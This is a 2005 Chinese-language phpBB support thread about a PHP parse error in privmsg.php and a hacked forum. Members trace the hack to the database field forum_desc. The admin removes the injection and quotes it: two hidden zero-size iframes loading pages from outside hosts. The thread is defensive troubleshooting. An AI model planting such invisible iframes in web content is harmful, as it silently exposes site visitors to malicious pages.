1 頁 (共 1 頁)

[問題] 要進入私人訊息出現錯誤

發表於 : 2005-05-08 22:52
逍遙悠
環境如下
架站環境 linux
Apache 2.0.45
MySQL 4.0.13
PHP 4.3.1
PhpBB2 2.0.14

出現錯誤訊息如下
Parse error: parse error, unexpected '}' in /home/phpbb/public_html/phpbb/privmsg.php on line 648

下面是648航上下幾段的內容

代碼: 選擇全部

$template->pparse('body');
                include($phpbb_root_path . 'includes/page_tail.'.$phpEx);
}
else if ( ( $delete && $mark_list ) || $delete_all )
{
	if ( !$userdata['session_logged_in'] )
	{
		redirect(append_sid("login.$phpEx?redirect=privmsg.$phpEx&folder=inbox", true));
	}
請問 要添加什麼或者刪除什麼呢?

另外 論壇首頁的index.php 被植入SCRIPT 程式碼 用卡巴斯基 掃到的 請問要如何處理呢??

發表於 : 2005-05-09 00:14
heroviper
除了config 檔之外的檔案全部都重新上傳一遍 因該就能解決了吧...
但是如果你有裝很多Mod 那就麻煩了...

發表於 : 2005-05-09 00:53
小竹子
先升級吧

Re: [問題] 要進入私人訊息出現錯誤

發表於 : 2005-05-09 15:01
kp3011
( ( $delete && $mark_list ) || $delete_all )
關少了一個 )

修改後快點更新吧

Re: [問題] 要進入私人訊息出現錯誤

發表於 : 2005-05-09 15:21
神川小羽
kp3011 寫:( ( $delete && $mark_list ) || $delete_all )
關少了一個 )
沒有唷 這樣是正確的並沒有少")"
kp3011 寫:修改後快點更新吧
同感
逍遙悠 寫:

代碼: 選擇全部

Parse error: parse error, unexpected '}' in /home/phpbb/public_html/phpbb/privmsg.php on line 648
你還沒有貼出關鍵的地方,在這段程式碼的在上面應該是template關鍵字替代的各值,是很長出錯的地方。
把648的上下20行都貼出來吧

Re: [問題] 要進入私人訊息出現錯誤

發表於 : 2005-05-09 22:17
逍遙悠
神川小羽 寫:
kp3011 寫:( ( $delete && $mark_list ) || $delete_all )
關少了一個 )
沒有唷 這樣是正確的並沒有少")"
kp3011 寫:修改後快點更新吧
同感
逍遙悠 寫:

代碼: 選擇全部

Parse error: parse error, unexpected '}' in /home/phpbb/public_html/phpbb/privmsg.php on line 648
你還沒有貼出關鍵的地方,在這段程式碼的在上面應該是template關鍵字替代的各值,是很長出錯的地方。
把648的上下20行都貼出來吧
小羽 請看一下 從615到670

代碼: 選擇全部

	$template->assign_vars(array(
		'MESSAGE_TO' => $username_to,
		'MESSAGE_FROM' => $username_from,
		'RANK_IMAGE' => $rank_image,
		'POSTER_JOINED' => $poster_joined,
		'POSTER_POSTS' => $poster_posts,
		'POSTER_FROM' => $poster_from,
		'POSTER_AVATAR' => $poster_avatar,
		'POST_SUBJECT' => $post_subject,
		'POST_DATE' => $post_date, 
		'MESSAGE' => $private_message,

		'PROFILE_IMG' => $profile_img, 
		'PROFILE' => $profile, 
		'SEARCH_IMG' => $search_img,
		'SEARCH' => $search,
		'EMAIL_IMG' => $email_img,
		'EMAIL' => $email,
		'WWW_IMG' => $www_img,
		'WWW' => $www,
		'ICQ_STATUS_IMG' => $icq_status_img,
		'ICQ_IMG' => $icq_img, 
		'ICQ' => $icq, 
		'AIM_IMG' => $aim_img,
		'AIM' => $aim,
		'MSN_IMG' => $msn_img,
		'MSN' => $msn,
		'YIM_IMG' => $yim_img,
		'YIM' => $yim)
	);
	$template->pparse('body');
                include($phpbb_root_path . 'includes/page_tail.'.$phpEx);
}
else if ( ( $delete && $mark_list ) || $delete_all )
{
	if ( !$userdata['session_logged_in'] )
	{
		redirect(append_sid("login.$phpEx?redirect=privmsg.$phpEx&folder=inbox", true));
	}

	if ( isset($mark_list) && !is_array($mark_list) )
	{
		// Set to empty array instead of '0' if nothing is selected.
		$mark_list = array();
	}

	if ( !$confirm )
	{
		$s_hidden_fields = '<input type="hidden" name="mode" value="' . $mode . '" />';
		$s_hidden_fields .= ( isset($HTTP_POST_VARS['delete']) ) ? '<input type="hidden" name="delete" value="true" />' : '<input type="hidden" name="deleteall" value="true" />';

		for($i = 0; $i < count($mark_list); $i++)
		{
			$s_hidden_fields .= '<input type="hidden" name="mark[]" value="' . intval($mark_list[$i]) . '" />';
		}
第二個疑問是 我有2個mod都相同的論壇 第一個 論壇控制台進不去 首頁都會出現被植入惡意代碼 此script 禁止執行
我將正常的第二個論壇 所有檔案都把他覆蓋過去第一個論壇
但是第一個論壇的index.php(被植入惡意代碼) 和 論壇控制台(消失)都有問題
但是我第二個論壇卻是都正常的(目前版本2.0.14) 第一個也是2.0.14
抱歉 我不太會表白 不知道這樣是否解釋的構清楚呢?

發表於 : 2005-05-09 23:35
神川小羽
1.
怎樣看這些程式碼都沒有問題,或者是說這些跟全新的.15完全一樣\r
不過看來看你說是615到670這樣的話648就是\r

代碼: 選擇全部

include($phpbb_root_path . 'includes/page_tail.'.$phpEx);
檢查一下includes/page_tail.php 這個檔案是否建在,問題很可能是出在這。
2.
這種情形,並不一定是覆蓋檔案可以解決的,因為可能你被植入的程式並不是在任何一個php檔案裡面,而是在資料庫內唷\r
問題可能出在phpbb_forums這個資料表的forum_desc這個欄位吧\r
  1. 進入phpMyAdmin
  2. 選你使用的資料庫\r
  3. 左方點選phpbb_forums這個資料表\r
  4. 上方點選 瀏覽\r
  5. 檢查每列的forum_desc欄位看看有沒有可疑的語法

發表於 : 2005-05-10 00:16
逍遙悠
1.一進入私人訊息 還是會這樣
Parse error: parse error, unexpected '}' in /home/phpbb/public_html/phpbb/privmsg.php on line 650

Parse error: parse error, unexpected '}' <---錯誤訊息 意思是說 '}' <---這一個符號 有問題是嗎?


2.
includes/page_tail.php 這個檔案是存在的

3.
phpbb_forums這個資料表的forum_desc 確實被植入語法............
已經刪除 感謝小羽的協助\r

被植入語法為下

代碼: 選擇全部

<iframe src="http://www.ganebase.com/temp/hinet.htm" width=0 height=0 frameborder=0></iframe>
<iFRAmE SRc="http://gamania.go.zccn.net/x/hinet.htm" width=0 height=0 frameborder=0></iFRAmE>
4.我在資料庫phpmyadmin 裡面選擇資料庫 要做檢視 修復 最佳化 但是都會出現\r
: Missing parameter: db

5.目前論壇的控制台還是一片空白 不知道有哪位知道如何解決呢?